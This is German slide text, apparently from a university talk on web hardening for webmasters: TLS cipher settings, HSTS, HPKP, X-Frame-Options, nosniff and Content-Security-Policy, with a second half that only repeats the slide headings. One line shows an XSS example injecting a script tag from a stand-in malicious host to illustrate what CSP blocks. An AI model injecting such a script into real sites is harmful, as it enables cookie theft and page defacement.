Bedrohungen ‒ wodurch?

Packet sniffing ‒ Mitlesen von unverschlüsseltem Verkehr

Privatsphäre
Session Hijacking ‒ Cookies auslesen und einsetzen

Schwachstellen in Webanwendungen

Cross-Site-Scripting (XSS) ‒ Gewinnen sensibler Daten, Entstellen von Webseiten
Injection (SQL, LDAP, ...) ‒ unberechtigtes Auslesen/Ändern von Daten
Cross-Site-Request-Forgery (CSRF) ‒ Aktionen von angemeldeten Webanwendern durch manipulierte URLs
Clickjacking ‒ überlagerte (transparente) Inhalte fremder Websites

Bedrohungen ‒ wodurch? (2)

Schwachstellen in Protokollen / Implementierung

SSL/TLS ‒ BEAST, CRIME, BREACH, FREAK / OpenSSL ‒ Heartbleed
DNS

Nichttechnische Schwachstellen

nachlässige Zertifizierungsstellen
Social Engineering

Bedrohungen ‒ durch wen?

Underground Economy
Kriminelle
Skriptkiddies

Zufall

Geheimdienste

Unwissen, Ignoranz, Nachlässigkeit
Zeitdruck, keine Weiterbildung, zu wenig Mittel

Alles so gut es geht verschlüsseln! (1)

1. SSL/TLS so sicher wie möglich konfigurieren

Aktuelles OpenSSL-Paket ‒ und Apache httpd
Zertifikat mit SHA-2

Server-Admin: CipherSuite einstellen: kein SSLv2, kein SSLv3, keine SSL-Komprimierung

SSLProtocol all -SSLv2 -SSLv3
SSLCompression off
SSLHonorCipherOrder on
# Intermediate compatibility
SSLCipherSuite ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:\
ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:\
DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:\
ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:\
ECDHE-ECDSA-AES256-SHA384: ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:\
DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:\
DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:\
AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:\
!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA

Testen via https://www.ssllabs.com/ssltest/

Weiterlesen:

https://wiki.mozilla.org/Security/Server_Side_TLS

Alles so gut es geht verschlüsseln! (2)

2. Nur noch HTTPS: Always On SSL

Die Browser bringen es (schon lange).
Aufwand an Rechenzeit auf Serverseite ist unerheblich.
Latenz vorhanden (SSL/TLS-Handshake), höheres Datenvolumen, aber vertretbar
Die Großen machen es, auch CDNs … ‒ wir können das auch!

HTTP immer umleiten auf HTTPS

Man-in-the-Middle möglich, z. B. bei manueller Eingabe des URL

Weiterlesen:

https://otalliance.org/resources/always-ssl-aossl

Alles so gut es geht verschlüsseln! (3)

HTTP Strict Transport Security (HSTS, RFC 6797)

HTTP-Response Strict-Transport-Security: max-age=31536000; includeSubDomains
Browser: Diesen Server ausschließlich mit HTTPS ansprechen, auch in Zukunft!
Bei Zertifikatsfehlern keine Ausnahmen zulassen

Browser-Unterstützung:

Firefox, Chrome, Safari … IE

Server:

Apache httpd:
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"

Weiterlesen:

https://developer.mozilla.org/en-US/docs/Web/Security/HTTP_strict_transport_security

Alles so gut es geht verschlüsseln! (4)

Public Key Pinning Extension for HTTP (HPKP)

„Festtackern“ eines Zertifikats für einen Server ‒ gegen MITM
TOFU - Trust on first use
Subject Public Key Information (SPKI) fingerprint ‒ base64-kodiert
Public-Key-Pins: pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; pin-sha256="..." max-age=5184000; report-uri="https://www.example.net/hpkp-report"
Mind. 2 SPKI-Fingerprints: aktueller und Backup-Key
experimentell (Firefox 35, Chrome 38)

Weiterlesen:

https://developer.mozilla.org/en-US/docs/Web/Security/Public_Key_Pinning

Alles so gut es geht verschlüsseln! (5)

Feldversuch `www.tu-chemnitz.de`

Seit September 2014:

SSL/TLS sicher(er) konfiguriert
Always On SSL: HTTP → HTTPS, HSTS
SHA-2-Zertifikat
→ Server-Performance kein Problem

Probleme:

per HTTP eingebundene Objekte → relative URLs
hoffnungslos alte Windows XP (ab SP3 ok)
Nokia E-Serie mit SHA-2

Wer kommt trotzdem via HTTP? 5-7 %

Crawler: Bing, Baidu, Yahoo
(eigene) Skripte
HTTP-Verweise von unfähigen Browsern ‒ intern in relative Links ändern

Gegen Clickjacking

Header `X-Frame-Options` (RFC 7034)

HTTP-Response-Header

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://www.friendly-site.com

→ Browser werden diese Seite nicht in einem Frame darstellen, oder nur auf eigener bzw. angegebener Website

Browser-Unterstützung:

Firefox, IE, Chrome, Safari

Weiterlesen:

https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options

Gegen MIME-Sniffing (IE > 8)

Hochladen eines Bildes: datei.jpg ← enthält in Wirklichkeit HTML + JavaScript
IE: runterladen von datei.jpg Content-Type: image/jpeg
→ von IE ignoriert, erkennt HTML und rendert HTML + JavaScript → Angriff!
HTTP-Header X-Content-Type-Options: nosniff
→ Browser soll Content-Type gefälligst vertrauen

Weiterlesen:

http://blog.fox-it.com/2012/05/08/mime-sniffing-feature-or-vulnerability/

Content-Security-Policy (1)

Problem Cross-Site-Scripting (XSS)

Umgehen der Same-Origin-Policy durch Einschleusen von JavaScript-Code auf Zielseite
<script src="http://boeser.server.biz/evil.js"></script>
Dadurch Verändern der Webseite, Cookie-Entführung usw.
Browser kann nicht/nur schwer entscheiden, ob JS-Code oder externe Ressourcen vom Autor oder vom Angreifer

Neuer HTTP-Header: `Content-Security-Policy` (CSP)

Wird vom Server gesendet, konfiguriert Server-Betreiber oder Autor via .htaccess
Enthält Liste vertrauenswürdiger externer Ressourcen, die der Browser laden darf
z. B.
Content-Security-Policy: script-src 'self' https://ajax.googleapis.com
→ Lade JavaScript nur vom eigenen und vo, angegebenen Server

Content-Security-Policy (2)

Policy auch für viele weitere Ressourcen:

script-src, style-src, font-src ‒ woher JavaScript, CSS, Fonts
img-src, media-src, object-src ‒ woher Bilder, Audio/Video, Objekte laden
frame-src, connect-src ‒ woher iframe-Inhalte, wohin Ajax/XHR, Websockets

Policy nicht gesetzt: alles erlaubt (wie bisher)
Standardverhalten durch default-src
Trennen der Angaben durch Semikolon
Angabe als URLs, domains mit *, 'none', 'self'

Beispiel:
Content-Security-Policy: default-src 'self'; img-src 'self' *.tu-chemnitz.de; frame-src 'none'

→ alles nur vom selben Server, Bilder von beliebigen Servern in tu-chemnitz.de, keine Inhalte in Frame

Content-Security-Policy (3)

Reaktion des Browsers

Ressourcen, auf die CSP nicht zutrifft, werden nicht geladen.

Content-Security-Policy (4)

Problem: Inline Code

<button onclick="doSomeThings();">Klick mich!</button>

Browser kann nicht entscheiden, ob erwünscht oder XSS-Angriff
Via CSP: Inline-JS (und Inline-Style) verboten
und eval natürlich auch
d. h. JavaScript umbauen: in externes Script → das ist eh viel besser

<script src="better.js"></script>
<button id="do">Klick mich!</button>
// better.js - mit jQuery
$(document).ready(function() {
   $('#do').click(function() {
      alert('Yep.');
   });
});

→ Bis dahin: Content-Security-Policy: script-src 'unsafe-inline'
→ wichtiger XSS-Schutz weg :-(

Content-Security-Policy (5)

Testmöglichkeit

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reporter.php

csp-reporter.php:

<?php  // csp-reporter.php - CSP-Fehler loggen
   error_log('CSP: '. file_get_contents('php://input'));
?>

ssl_error_log:

[Thu Mar 12 11:10:45.262430 2015] [:error] [pid 53220] [client 134.109.200.128:47323] CSP:
{"csp-report":{"document-uri":"https://www-sl7.hrz.tu-chemnitz.de/","referrer":"",
"violated-directive":"default-src 'self'","effective-directive":"font-src",
"original-policy":"default-src 'self'; report-uri /csp-reporter.php",
"blocked-uri":"https://www.tu-chemnitz.de","status-code":0}}, referer: https://www-sl7.hrz.tu-chemnitz.de/

Content-Security-Policy (6)

CSP-Header wird schnell sehr lang
für ownCloud z. B.
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; font-src 'self' data:; img-src 'self' data:
Längenbeschränkung in Browsern?
Aktuelle Entwicklung: Content Security Policy Level 2 ‒ W3C Candidate Recommendation

Browser-Unterstützung:

Firefox, Chrome, Safari, IE

Weiterlesen:

Hausaufgaben

Packet sniffing

SSL/TLS sichern: aktuelle Pakete, SSLCipherSuite, SHA-2-Zertifikat
nur noch HTTPS, Strict-Transport-Security

Schwachstellen in Webanwendungen

Clickjacking ‒ X-Frame-Options
Cross-Site-Scripting (XSS) ‒ Content-Security-Policy angehen
Injection (SQL, LDAP, ...) ‒ sicher programmieren, evtl. mod_security
Cross-Site-Request-Forgery (CSRF) ‒ Token für Transaktionen, richtiges Framework …

Das Web ein Stück sicherer – Hausaufgaben für Webmaster

Bedrohungen ‒ wodurch?

Packet sniffing ‒ Mitlesen von unverschlüsseltem Verkehr

Schwachstellen in Webanwendungen

Bedrohungen ‒ wodurch? (2)

Schwachstellen in Protokollen / Implementierung

Nichttechnische Schwachstellen

Bedrohungen ‒ durch wen?

Alles so gut es geht verschlüsseln! (1)

1. SSL/TLS so sicher wie möglich konfigurieren

Weiterlesen:

Alles so gut es geht verschlüsseln! (2)

2. Nur noch HTTPS: Always On SSL

HTTP immer umleiten auf HTTPS

Weiterlesen:

Alles so gut es geht verschlüsseln! (3)

HTTP Strict Transport Security (HSTS, RFC 6797)

Browser-Unterstützung:

Server:

Weiterlesen:

Alles so gut es geht verschlüsseln! (4)

Public Key Pinning Extension for HTTP (HPKP)

Weiterlesen:

Alles so gut es geht verschlüsseln! (5)

Feldversuch www.tu-chemnitz.de

Seit September 2014:

Probleme:

Wer kommt trotzdem via HTTP? 5-7 %

Gegen Clickjacking

Header X-Frame-Options (RFC 7034)

Browser-Unterstützung:

Weiterlesen:

Gegen MIME-Sniffing (IE > 8)

Weiterlesen:

Content-Security-Policy (1)

Problem Cross-Site-Scripting (XSS)

Neuer HTTP-Header: Content-Security-Policy (CSP)

Content-Security-Policy (2)

Policy auch für viele weitere Ressourcen:

Content-Security-Policy (3)

Reaktion des Browsers

Content-Security-Policy (4)

Problem: Inline Code

Content-Security-Policy (5)

Testmöglichkeit

Content-Security-Policy (6)

Browser-Unterstützung:

Weiterlesen:

Hausaufgaben

Packet sniffing

Schwachstellen in Webanwendungen

Hausaufgaben (2)

Schwachstellen in Protokollen / Implementierung

Nichttechnische Schwachstellen

Weiterlesen:

Das Web ein Stück sicherer –

Hausaufgaben für Webmaster

Feldversuch `www.tu-chemnitz.de`

Header `X-Frame-Options` (RFC 7034)

Neuer HTTP-Header: `Content-Security-Policy` (CSP)